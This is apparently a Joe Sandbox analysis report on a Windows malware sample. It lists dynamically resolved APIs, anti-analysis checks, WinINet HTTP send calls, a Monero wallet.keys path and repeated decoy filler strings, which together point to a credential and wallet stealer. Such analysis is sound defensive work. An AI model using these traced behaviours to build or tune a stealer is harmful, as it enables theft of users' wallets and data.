libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00CC1738), ref: 001798A1
GetProcAddress.KERNEL32(76210000,00CC1528), ref: 001798BA
GetProcAddress.KERNEL32(76210000,00CC15A0), ref: 001798D2
GetProcAddress.KERNEL32(76210000,00CC15D0), ref: 001798EA
GetProcAddress.KERNEL32(76210000,00CC1540), ref: 00179903
GetProcAddress.KERNEL32(76210000,00CC9478), ref: 0017991B
GetProcAddress.KERNEL32(76210000,00CB64A0), ref: 00179933
GetProcAddress.KERNEL32(76210000,00CB62E0), ref: 0017994C
GetProcAddress.KERNEL32(76210000,00CC1648), ref: 00179964
GetProcAddress.KERNEL32(76210000,00CC1588), ref: 0017997C
GetProcAddress.KERNEL32(76210000,00CC1600), ref: 00179995
GetProcAddress.KERNEL32(76210000,00CC1750), ref: 001799AD
GetProcAddress.KERNEL32(76210000,00CB6320), ref: 001799C5
GetProcAddress.KERNEL32(76210000,00CC17B0), ref: 001799DE
GetProcAddress.KERNEL32(76210000,00CC1618), ref: 001799F6
GetProcAddress.KERNEL32(76210000,00CB6580), ref: 00179A0E
GetProcAddress.KERNEL32(76210000,00CC1660), ref: 00179A27
GetProcAddress.KERNEL32(76210000,00CC1678), ref: 00179A3F
GetProcAddress.KERNEL32(76210000,00CB6660), ref: 00179A57
GetProcAddress.KERNEL32(76210000,00CC1840), ref: 00179A70
GetProcAddress.KERNEL32(76210000,00CB6640), ref: 00179A88
LoadLibraryA.KERNEL32(00CC1810,?,00176A00), ref: 00179A9A
LoadLibraryA.KERNEL32(00CC1828,?,00176A00), ref: 00179AAB
LoadLibraryA.KERNEL32(00CC18B8,?,00176A00), ref: 00179ABD
LoadLibraryA.KERNEL32(00CC18D0,?,00176A00), ref: 00179ACF
LoadLibraryA.KERNEL32(00CC1858,?,00176A00), ref: 00179AE0
GetProcAddress.KERNEL32(75B30000,00CC1870), ref: 00179B02
GetProcAddress.KERNEL32(751E0000,00CC1888), ref: 00179B23
GetProcAddress.KERNEL32(751E0000,00CC18A0), ref: 00179B3B
GetProcAddress.KERNEL32(76910000,00CC9528), ref: 00179B5D
GetProcAddress.KERNEL32(75670000,00CB6620), ref: 00179B7E
GetProcAddress.KERNEL32(77310000,00CC93F8), ref: 00179B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00179BB6

Strings

NtQueryInformationProcess, xrefs: 00179BAA

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 33ea2a2d70caed5f8385dd6516eb570461fbceba00f2355581df79e7e9d821c1
Instruction ID: 8b0e949d21c7597bbe8a8040436cf3f31449dfecfae4e38db47bad4634817a4d
Opcode Fuzzy Hash: 33ea2a2d70caed5f8385dd6516eb570461fbceba00f2355581df79e7e9d821c1
Instruction Fuzzy Hash: BFA16FB7500A109FD397DFA8ED88A663BFDF74E301F04851AA615C3264D73A9841DF12

Function 001645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0016460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0016479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001646C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001645C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001645F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001645DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001646B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001645D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001646CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001646D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0016475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00164638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001646AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001645E8

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 6b6435f183e1995f11b6bd29c927bf030d2a1718898e6ff8be8ceada4f93dcd4
Instruction ID: 64b2330620c5ceef7b50a6ef57dd68c69d7c2650cf419e0846b8de95aecd4a0c
Opcode Fuzzy Hash: 6b6435f183e1995f11b6bd29c927bf030d2a1718898e6ff8be8ceada4f93dcd4
Instruction Fuzzy Hash: 4641E4706D67046EE72CBBE68842EFF77679F46708F505048B84456286CBB0660CEFA7

Function 00164880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00164839
Part of subcall function 001647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00164849

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00164915
StrCmpCA.SHLWAPI(?,00CCFC38), ref: 0016493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00164ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00180DDB,00000000,?,?,00000000,?,",00000000,?,00CCFB08), ref: 00164DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00164E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00164E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00164E49
InternetCloseHandle.WININET(00000000), ref: 00164EAD
InternetCloseHandle.WININET(00000000), ref: 00164EC5
HttpOpenRequestA.WININET(00000000,00CCFC08,?,00CCF4B8,00000000,00000000,00400100,00000000), ref: 00164B15

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

InternetCloseHandle.WININET(00000000), ref: 00164ECF

Strings

", xrefs: 00164BF2
------, xrefs: 00164C69
------, xrefs: 001649BD
", xrefs: 00164D33
------, xrefs: 00164B28

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: e552fafee8b7bfaa1975bd1b0c885104da73d4c46b0c0c490dba3f8b8f4a1437
Instruction ID: c84aad9c0e5ba540fec79ee6d288a23df7ee02f6beb75a57d62d409aac4d23f0
Opcode Fuzzy Hash: e552fafee8b7bfaa1975bd1b0c885104da73d4c46b0c0c490dba3f8b8f4a1437
Instruction Fuzzy Hash: 1212C072950118ABDB15EBA0DC62FEEB378BF65305F908199B11A63091DF702F49CF62

Function 00177850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001611B7), ref: 00177880
RtlAllocateHeap.NTDLL(00000000), ref: 00177887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0017789F

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 49edd355805275fb6842376e97ba8664f2e4662de8f6cf364eaece387fddb8f9
Instruction ID: de7c43dab5245a0d267a5b1fecadb3bba5b9a7f0d52807b65833c29c1cdb3228
Opcode Fuzzy Hash: 49edd355805275fb6842376e97ba8664f2e4662de8f6cf364eaece387fddb8f9
Instruction Fuzzy Hash: 6CF04FB2944609ABC714DF98DD49FAEBBBCEB05B11F10025AFA05A3680C7791904CBA2

Function 00161160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0016116A
ExitProcess.KERNEL32 ref: 0016117E

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 45073d73345929d6bf0d4c340b1040569635caa24148e475449ce56d07dd5b1a
Instruction ID: 214c360b8890f9fe7512a77baa9e3c01e4391bc03b061232562b04d3cd01bda9
Opcode Fuzzy Hash: 45073d73345929d6bf0d4c340b1040569635caa24148e475449ce56d07dd5b1a
Instruction Fuzzy Hash: 9FD017759002089BCB009BE098496AEBB7CEB0A312F000554D90562240EB315891CAA6

Function 00179C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00CB66C0), ref: 00179C2D
GetProcAddress.KERNEL32(76210000,00CB6300), ref: 00179C45
GetProcAddress.KERNEL32(76210000,00CC97E0), ref: 00179C5E
GetProcAddress.KERNEL32(76210000,00CC9870), ref: 00179C76
GetProcAddress.KERNEL32(76210000,00CC97F8), ref: 00179C8E
GetProcAddress.KERNEL32(76210000,00CCDCD0), ref: 00179CA7
GetProcAddress.KERNEL32(76210000,00CBA820), ref: 00179CBF
GetProcAddress.KERNEL32(76210000,00CCDC70), ref: 00179CD7
GetProcAddress.KERNEL32(76210000,00CCDCE8), ref: 00179CF0
GetProcAddress.KERNEL32(76210000,00CCDD48), ref: 00179D08
GetProcAddress.KERNEL32(76210000,00CCDAD8), ref: 00179D20
GetProcAddress.KERNEL32(76210000,00CB63E0), ref: 00179D39
GetProcAddress.KERNEL32(76210000,00CB6500), ref: 00179D51
GetProcAddress.KERNEL32(76210000,00CB6520), ref: 00179D69
GetProcAddress.KERNEL32(76210000,00CB65C0), ref: 00179D82
GetProcAddress.KERNEL32(76210000,00CCDD00), ref: 00179D9A
GetProcAddress.KERNEL32(76210000,00CCDB08), ref: 00179DB2
GetProcAddress.KERNEL32(76210000,00CBA780), ref: 00179DCB
GetProcAddress.KERNEL32(76210000,00CB65E0), ref: 00179DE3
GetProcAddress.KERNEL32(76210000,00CCDBB0), ref: 00179DFB
GetProcAddress.KERNEL32(76210000,00CCDA90), ref: 00179E14
GetProcAddress.KERNEL32(76210000,00CCDD60), ref: 00179E2C
GetProcAddress.KERNEL32(76210000,00CCDD78), ref: 00179E44
GetProcAddress.KERNEL32(76210000,00CB6340), ref: 00179E5D
GetProcAddress.KERNEL32(76210000,00CCDB38), ref: 00179E75
GetProcAddress.KERNEL32(76210000,00CCDAA8), ref: 00179E8D
GetProcAddress.KERNEL32(76210000,00CCDB98), ref: 00179EA6
GetProcAddress.KERNEL32(76210000,00CCDD18), ref: 00179EBE
GetProcAddress.KERNEL32(76210000,00CCDC40), ref: 00179ED6
GetProcAddress.KERNEL32(76210000,00CCDB20), ref: 00179EEF
GetProcAddress.KERNEL32(76210000,00CCDD30), ref: 00179F07
GetProcAddress.KERNEL32(76210000,00CCDBC8), ref: 00179F1F
GetProcAddress.KERNEL32(76210000,00CCDC58), ref: 00179F38
GetProcAddress.KERNEL32(76210000,00CBFE60), ref: 00179F50
GetProcAddress.KERNEL32(76210000,00CCDAC0), ref: 00179F68
GetProcAddress.KERNEL32(76210000,00CCDBE0), ref: 00179F81
GetProcAddress.KERNEL32(76210000,00CB6360), ref: 00179F99
GetProcAddress.KERNEL32(76210000,00CCDBF8), ref: 00179FB1
GetProcAddress.KERNEL32(76210000,00CB6380), ref: 00179FCA
GetProcAddress.KERNEL32(76210000,00CCDAF0), ref: 00179FE2
GetProcAddress.KERNEL32(76210000,00CCDC10), ref: 00179FFA
GetProcAddress.KERNEL32(76210000,00CB64C0), ref: 0017A013
GetProcAddress.KERNEL32(76210000,00CB6540), ref: 0017A02B
LoadLibraryA.KERNEL32(00CCDB50,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A03D
LoadLibraryA.KERNEL32(00CCDB68,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A04E
LoadLibraryA.KERNEL32(00CCDC88,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A060
LoadLibraryA.KERNEL32(00CCDB80,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A072
LoadLibraryA.KERNEL32(00CCDCA0,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A083
LoadLibraryA.KERNEL32(00CCDC28,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A095
LoadLibraryA.KERNEL32(00CCDCB8,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A0A7
LoadLibraryA.KERNEL32(00CCDEC8,?,00175CA3,00180AEB,?,?,?,?,?,?,?,?,?,?,00180AEA,00180AE3), ref: 0017A0B8
GetProcAddress.KERNEL32(751E0000,00CB6560), ref: 0017A0DA
GetProcAddress.KERNEL32(751E0000,00CCDEE0), ref: 0017A0F2
GetProcAddress.KERNEL32(751E0000,00CC9338), ref: 0017A10A
GetProcAddress.KERNEL32(751E0000,00CCDE80), ref: 0017A123
GetProcAddress.KERNEL32(751E0000,00CB6600), ref: 0017A13B
GetProcAddress.KERNEL32(700F0000,00CBA578), ref: 0017A160
GetProcAddress.KERNEL32(700F0000,00CB6A20), ref: 0017A179
GetProcAddress.KERNEL32(700F0000,00CBA5A0), ref: 0017A191
GetProcAddress.KERNEL32(700F0000,00CCDD90), ref: 0017A1A9
GetProcAddress.KERNEL32(700F0000,00CCDEB0), ref: 0017A1C2
GetProcAddress.KERNEL32(700F0000,00CB67A0), ref: 0017A1DA
GetProcAddress.KERNEL32(700F0000,00CB6880), ref: 0017A1F2
GetProcAddress.KERNEL32(700F0000,00CCDDF0), ref: 0017A20B
